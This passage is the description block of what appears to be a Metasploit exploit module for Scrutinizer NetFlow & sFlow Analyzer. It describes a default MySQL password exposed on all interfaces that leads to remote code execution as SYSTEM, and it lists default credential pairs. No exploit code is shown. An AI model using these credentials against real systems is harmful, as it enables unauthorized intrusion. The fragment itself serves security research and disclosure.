'Description' => %q{  
This exploits an insecure config found in Scrutinizer NetFlow & sFlow Analyzer.  
By default, the software installs a default password in MySQL, and binds the  
service to "0.0.0.0". This allows any remote user to login to MySQL, and then  
gain arbitrary remote code execution under the context of 'SYSTEM'. Examples  
of default credentials include: 'scrutinizer:admin', and 'scrutremote:admin'.
